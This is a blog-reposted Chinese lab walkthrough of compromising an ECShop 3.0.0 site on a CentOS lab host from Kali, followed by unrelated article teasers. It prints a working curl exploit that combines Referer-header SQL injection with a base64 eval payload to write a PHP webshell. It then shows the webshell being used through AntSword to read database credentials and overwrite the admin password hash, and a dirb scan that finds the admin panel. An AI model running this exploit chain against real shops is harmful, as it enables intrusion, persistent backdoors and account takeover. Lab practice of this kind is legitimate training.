kali-钓鱼网站远程代码漏洞分析

news2024/9/28 11:12:33

文章目录

  • 一、靶场搭建
  • 二、开始信息收集,寻找漏洞
  • 三、使用蚁剑连接后门程序
  • 四、使用webshell查看数据库信息
  • 五、进入网站后台

实验环境

Kali

CentOs

一、靶场搭建

CentOsIP地址192.168.64.159

#关闭centos防火墙
[root@localhost ~]# systemctl disable --now firewalld

#关闭  selinux
[root@localhost ~]#  sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config

#重启
[root@localhost ~]#reboot

注:sed 命令是将/etc/selinux/config 文件中的 SELINUX=enforcing 替换成SELINUX=disabled。

修改完需要重启,才能生效

安装 LAMP 环境

[root@localhost ~]# yum -y install httpd mariadb-server mariadb php php-mysql php-gd php-mbstring

修改配置文件httpd.conf

[root@localhost ~]# vim /etc/httpd/conf/httpd.conf
改:95  #ServerName www.example.com:80
新:95:ServerName loaclhost:80
改:164     DirectoryIndex index.html
新:164     DirectoryIndex index.html index.php

wq保存退出

#启动httpd服务
[root@localhost ~]# systemctl enable httpd --now
Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.
#启动mariadb服务
[root@localhost ~]# systemctl enable mariadb --now
Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.
#设置数据库账号密码
[root@localhost ~]# mysqladmin -u root password  
New password: qwe@@@123456789AAAAAAAAA
Confirm new password: qwe@@@123456789AAAAAAAAA

上传 ecshop 到 linux 主机并解压到网站目录下

#上传
[root@localhost ~]# rz -bey

#解压
[root@localhost ~]# unzip ecshop.zip

#移动
[root@localhost ~]# mv ecshop/* /var/www/html

#给apache用户分配网站的只读权限
[root@localhost ~]# chown -R apache:apache /var/www/html/

Kali 中修改 hosts 文件,加入如下记录

192.168.64.159 www.jd.com.abcgood123.com

在这里插入图片描述

浏览器打开http://www.jd.com.abcgood123.com/install/index.php

在这里插入图片描述

一直同意,下一步,直到配置系统界面

使用之前配置的数据库账户:root 密码是:qwe@@@123456789AAAAAAAAA

配置一个网站管理员账户:admin 密码是: qwer123456
在这里插入图片描述

安装完成后,前往后台管理中心,输入网站管理员用户名,密码,配置一些基本信息

在这里插入图片描述

系统设置-支付方式-银行汇款/转帐-编辑

在这里插入图片描述

系统设置-配送方式-顺丰速运-安装-设置区域-新建配送区域

在这里插入图片描述

删除没有用的的文件:

[root@xuegod63 html]# cd /var/www/html/
[root@xuegod63 html]# mv install/ /opt/
[root@xuegod63 html]# mv demo/ /opt/

二、开始信息收集,寻找漏洞

kali修改host文件

┌──(root㉿kali)-[~]
└─#  vim   /etc/hosts

在这里插入图片描述

访问网站,注册账号

在这里插入图片描述

打开网站首页,在网页源代码中可以获取到网站框架

在这里插入图片描述

whatweb命令可以看到服务器类型,php版本等信息

┌──(root㉿kali)-[~]
└─# whatweb http://www.jd.com.abcgood123.com/
http://www.jd.com.abcgood123.com/ [200 OK] Apache[2.4.6], Cookies[ECS[visit_times],ECS_ID], Country[RESERVED][ZZ], ECShop[3.0.0], HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/5.4.16], IP[192.168.64.159], JQuery[1.11.3], MetaGenerator[ECSHOP v3.0.0], PHP[5.4.16], PoweredBy[ECShop], Script[text/javascript], Title[ECSHOP演示站 - Powered by ECShop], X-Powered-By[PHP/5.4.16] 

漏洞可以使用搜索引擎进行搜索

三、使用蚁剑连接后门程序

利用 payload 写入一句话并使用蚁剑连接上传 webshell

curl http://www.jd.com.abcgood123.com/user.php \
-d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" \
-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'

这段代码是一个使用cURL工具向目标网站发送POST请求的示例。cURL是一个用于传输数据的命令行工具,支持多种协议,如HTTP、FTP等。

这段代码的主要功能是向网站发送一个POST请求,并传递两个参数:action和vulnspy。

  • “action=login”:设置action参数为login,这个参数可能是用来标识用户想要执行的操作。
  • “vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;”:
  • 括号里面的是经过base64解码的 file_put_contents('vulnspy.php','<?php eval($_REQUEST[vulnspy]);'); 语句,使用file_put_contents函数将一段PHP代码写入名为vulnspy.php的文件中。这段代码包含一个PHP代码块,这个代码块会在运行时执行传入的vulnspy变量。
  • eval($_REQUEST[vulnspy]);:这是一个PHP函数,用于执行传入的PHP代码。在这个例子中,vulnspy是一个变量,它的值应该是一段PHP代码。当这段代码被执行时,它会执行vulnspy变量中的PHP代码。
  • Referer字段中携带了sql注入。

使用 rz 命令上传AntSword-Loader-v4.0.3-linux-x64.zip、antSword- master.zip 和 webshell2.php到Kali

┌──(root㉿kali)-[~]
└─# rz -bey
┌──(root㉿kali)-[~]
└─# unzip AntSword-Loader-v4.0.3-linux-x64.zip
┌──(root㉿kali)-[~]
└─# unzip antSword-master.zip

启动蚁剑加载器

┌──(root㉿kali)-[~]
└─# cd AntSword-Loader-v4.0.3-linux-x64 
                                                                                                           
┌──(root㉿kali)-[~/AntSword-Loader-v4.0.3-linux-x64]
└─# ./AntSword   

首次打开加载器时,界面如下图所示:

在这里插入图片描述

点击「初始化」按钮,进入到antSword-master文件夹中,点击右下方OK

在这里插入图片描述

重新打开蚁剑加载器,即可看到蚁剑的主界面。在空白处单击鼠标右键,点击 添加数据

URL 地址:http://www.jd.com.abcgood123.com/vulnspy.php

连接密码:vulnspy

点击添加

在这里插入图片描述

双击点开我们添加的地址进入到网站目录中,上传功能更强大的木马文件 webshell2.php 到 temp 目录下

在这里插入图片描述

浏览器打开http://www.jd.com.abcgood123.com/temp/webshell2.php进入到webshell窗口

在这里插入图片描述

四、使用webshell查看数据库信息

在这里插入图片描述

找到config.php 然后点右边的edit 打开文件

在这里插入图片描述

可以看到数据库信息

在这里插入图片描述

连接数据库

在这里插入图片描述

找到admin_user数据库

在这里插入图片描述

可以看到靶场的管理员信息

在这里插入图片描述

密码使用了md5加密,Salt就是盐,盐就是一个随机生成的字符串。简而言之,加盐是为了增加密码的安全性。密码使用了MD5加密,而盐则是一个随机生成的字符串。在密码存储时,系统将盐与原始密码连接在一起,然后对连接后的字符串进行加密。由于盐是系统随机生成的且每个用户的盐不同,即使两个用户使用相同的密码,其散列值也是不同的。这样做可以防止黑客通过散列值字典等方式破解密码。

具体操作上,用户在首次提供密码(通常是注册时),系统会自动添加一些盐,然后进行散列。当用户登录时,系统会为用户提供的密码添加相同的盐,再进行散列,最后比较散列值以确定密码是否正确。这种方式提高了密码的安全性,因为即使攻击者获得了一个用户的散列值,由于盐的存在,无法直接在字典中查找对应的密码。

记录下来pwd和salt

pwd:5ac84bb56649b2eac8e0f56d0afe5152 
salt:9044

可以利用自己生成的散列值来替换原本密码的散列值

┌──(root㉿kali)-[~]
└─# echo -n 123456|md5sum
e10adc3949ba59abbe56e057f20f883e  -
#利用php语言输出加盐后的散列值
[root@xuegod63 ~]# php -r 'echo md5("e10adc3949ba59abbe56e057f20f883e"."9044");'
d7cdb1e266cd7e920683b27eaa190fba

回到webshell,SQL语句替换,点击查询

update xo_admin_user  set  password ="d7cdb1e266cd7e920683b27eaa190fba" where user_id =1

在这里插入图片描述

五、进入网站后台

开始扫描 网站后台地址:

┌──(root㉿kali)-[~]
└─# dirb http://www.jd.com.abcgood123.com -o jd.com.txt 

┌──(root㉿kali)-[~]
└─# vim jd.com.txt  

在这里插入图片描述

点击第一个,跳转到了后台登录界面,输入数据库获取的用户名admin以及自己设置的密码123456,成功进入后台

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1334026.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

常用两种Linux命令生成器

在Linux中&#xff0c;可以使用多种命令来生成随机密码。以下是其中两种常用的命令&#xff1a; 1.pwgen&#xff1a;这个命令可以生成随机、无意义的但容易发音的密码。生成的密码可以只包含小写字母、大小写混合或数字。大写字母和数字会以一种便于记忆的方式放置&#xff0…

【办公技巧】ppt如何加密只能看不能修改?

大家是否想要给PPT文件设置加密&#xff0c;让ppt文件变为只能查看不能修改的状态&#xff1f;今天给大家分享给PPT文件设置带有密码的只读模式&#xff08;修改权限&#xff09;。 方法如下&#xff1a; PPT文件之后&#xff0c;将PPT文件进行另存为操作&#xff0c;但是在选…

云计算与大数据之间的羁绊(期末不挂科版):云计算 | 大数据 | Hadoop | HDFS | MapReduce | Hive | Spark

文章目录 前言&#xff1a;一、云计算1.1 云计算的基本思想1.2 云计算概述——什么是云计算&#xff1f;1.3 云计算的基本特征1.4 云计算的部署模式1.5 云服务1.6 云计算的关键技术——虚拟化技术1.6.1 虚拟化的好处1.6.2 虚拟化技术的应用——12306使用阿里云避免了高峰期的崩…

线上服务有哪些稳定性指标?

在分布式高可用设计中&#xff0c;系统监控非常重要&#xff0c;系统监控做好了&#xff0c;可以提前对异常情况进行报警&#xff0c;避免很多线上故障的产生。系统监控做得好不好&#xff0c;也是评价一家互联网公司基础建设水平的重要标准&#xff0c;今天一起来讨论一下&…

线下终端门店调研包含哪些内容

品牌渠道一般分为线上和线下&#xff0c;线上的价格、促销信息、店铺优惠机制等都可以通过登录查看&#xff0c;但是线下门店的数据则需要进店巡查&#xff0c;否则无法得到真实的店铺销售数据&#xff0c;当然也有品牌是靠线下的业务团队报备机制获得这些信息&#xff0c;但是…

18.仿简道云公式函数实战-数学函数-AVERAGE

1. AVERAGE函数 AVERAGE 函数可用于计算一组数值的算术平均值。 2. 函数用法 AVERAGE(数字1,数字2,...) 3. 函数示例 AVERAGE(1,3,5)&#xff0c;返回结果为 3 4. 代码实战 首先我们在function包下创建math包&#xff0c;在math包下创建AvgFunction类&#xff0c;代码如…

使用静态HTTP进行缓存:提高网站性能的关键

大家好&#xff0c;今天我们来聊聊如何通过使用静态HTTP进行缓存&#xff0c;来提高网站的“奔跑速度”。没错&#xff0c;就像给网站穿上了一双“风火轮”&#xff0c;让它飞得更快&#xff01; 首先&#xff0c;我们来了解一下什么是缓存。简单来说&#xff0c;缓存就是把你…

浅谈Dubbo核心概念及架构流程

浅谈Dubbo核心概念及架构流程 前言重要概念1、SPI2、ServiceBean3、URL4、Invoker 整体流程1、架构图2、调用链路 笔者碎碎言&#xff0c;我们学习Dubbo应该学的是什么&#xff1f; 笔者是一名业务开发&#xff0c;认为一切目的都要为我们的目标服务&#xff0c;即日常工作有帮…

fragstats:景观指数的突变分析

作者&#xff1a;CSDN _养乐多_ 本文将介绍景观指数时间序列的突变分析&#xff0c;包括突变时间、突变频次等。以及景观指数突变分析所用的软件和 python 代码。 结果如下图所示&#xff0c; 图1 突变频次 图2 突变时间 文章目录 一、景观指数计算二、景观指数时间序列构建…

Python 数据分析 Matplotlib篇 plt.rcParams 字典(第5讲)

Python 数据分析 Matplotlib篇 plt.rcParams字典(第5讲)         🍹博主 侯小啾 感谢您的支持与信赖。☀️ 🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ�…

传输损伤和传输质量解读

目录 传输损伤 传输质量 噪声和干扰 通信编码 传输损伤 数据信号在数据通信系统的端到端连接的每个环节都可能受到伤害&#xff0c;ITU称之为传输损伤。并推荐用误码、抖动、漂移、滑动和时延来表示。 误码(Error)。指信号在传输过程中码元发生的差错&#xff0c;即接…

SpringBoot2.x+mybatis plus3.x集成Activit7版本

文/朱季谦 在Activiti6版本当中&#xff0c;若要集成到Springboot里&#xff0c;需要写一些额外的配置类&#xff0c;我曾经在Activiti工作流框架学习笔记&#xff08;二&#xff09;之springboot2.0整合工作流Activiti6.0一文当中总结过相关配置过程&#xff0c;感兴趣的同学…

SpringBoot集成RabbitMq消息队列【附源码】

1. 项目背景 要啥项目背景&#xff0c;就是干&#xff01;&#xff01;&#xff01; SpringBoot版本&#xff1a;2.7.12 2. Rabbit MQ安装 这里讲解使用docker安装RabbitMQ&#xff0c;如果在windows下面安装RabbitMQ&#xff0c;参考下文 【笑小枫的按步照搬系列】Window…

数据结构:KMP算法

1.何为KMP算法 KMP算法是由Knuth、Morris和Pratt三位学者发明的&#xff0c;所以取了三位学者名字的首字母&#xff0c;叫作KMP算法。 2.KMP的用处 KMP主要用于字符串匹配的问题&#xff0c;主要思想是当出现字符串不匹配时&#xff0c;我们可以知道一部分之前已经匹配过的的文…

音视频技术开发周刊 | 325

每周一期&#xff0c;纵览音视频技术领域的干货。 新闻投稿&#xff1a;contributelivevideostack.com。 AI读心术震撼登顶会&#xff01;模型翻译脑电波&#xff0c;人类思想被投屏&#xff5c;NeurIPS 2023 在最近举办的NeurIPS大会上&#xff0c;研究人员展示了当代AI更震撼…

服务器扩容未生效、不成功:解决方法

记一次解决服务器扩容未生效的解决办法 老板&#xff1a;失忆啊&#xff0c;我花钱给服务器扩容了10000000G&#xff0c;但是数据库和mq都还是用不了&#xff0c;到底是不是服务器磁盘满了&#xff0c;你到底有没有查一下什么原因导致服务用不了啊。 失忆&#xff1a;老板您确…

【并发编程篇】读锁readLock()和写锁writeLock()

文章目录 &#x1f6f8;情景引入⭐解决问题 readLock()和writeLock()都是ReadWriteLock接口中定义的方法&#xff0c;用于获取读锁和写锁。 readLock()方法返回一个读锁&#xff0c;允许多个线程同时获取该锁&#xff0c;以进行并发读取操作。如果当前已有一个写锁或其他线程正…

第三十六周:文献阅读+注意力/自注意力机制

目录 摘要 Abstract 文献阅读&#xff1a;锂离子电池RUL预测的SA-LSTM 现有问题 提出方法 提出方法的结构 SA-LSTM预测模型的结构 研究实验 研究贡献 注意力机制 Self-Attention&#xff08;自注意力机制&#xff09; 注意力与自注意力 代码实现attention、self-at…

uni-app pages.json之globalStyle全局页面样式配置

锋哥原创的uni-app视频教程&#xff1a; 2023版uniapp从入门到上天视频教程(Java后端无废话版)&#xff0c;火爆更新中..._哔哩哔哩_bilibili2023版uniapp从入门到上天视频教程(Java后端无废话版)&#xff0c;火爆更新中...共计23条视频&#xff0c;包括&#xff1a;第1讲 uni…

静态HTTP的常见问题和解决方法

大家好&#xff0c;欢迎来到今天的“静态HTTP大讲堂”&#xff01;今天我们要聊聊静态HTTP的常见问题和解决方法。别小看这些问题哦&#xff0c;它们就像是那些顽皮的小妖精&#xff0c;时不时地给你的网站搞点恶作剧。不过别担心&#xff0c;有我在&#xff0c;这些小妖精都得…